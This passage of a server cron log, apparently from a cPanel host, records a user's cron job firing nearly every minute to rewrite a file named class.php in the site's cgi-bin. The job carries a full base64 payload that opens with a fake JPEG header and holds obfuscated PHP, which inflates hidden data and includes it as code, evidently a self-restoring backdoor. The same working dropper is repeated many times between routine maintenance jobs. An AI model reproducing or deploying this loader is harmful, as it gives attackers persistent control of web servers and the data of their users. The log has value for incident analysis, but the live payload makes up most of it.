ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:15:01 server CROND[3361]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 02:16:01 server CROND[3571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:17:01 server CROND[3683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:18:01 server CROND[3747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:19:01 server CROND[3812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:20:01 server CROND[3878]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 02:20:01 server CROND[3879]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 02:20:01 server CROND[3882]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 02:20:01 server CROND[3883]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 02:20:01 server CROND[3884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:21:01 server CROND[4053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:22:01 server CROND[4209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:23:01 server CROND[4277]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:24:01 server CROND[4339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:25:01 server CROND[4407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 02:25:01 server CROND[4408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:25:01 server CROND[4409]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 11 02:25:01 server CROND[4410]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 02:26:01 server CROND[4528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:27:01 server CROND[4693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:27:01 server CROND[4694]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 02:28:01 server CROND[4764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:29:01 server CROND[4832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 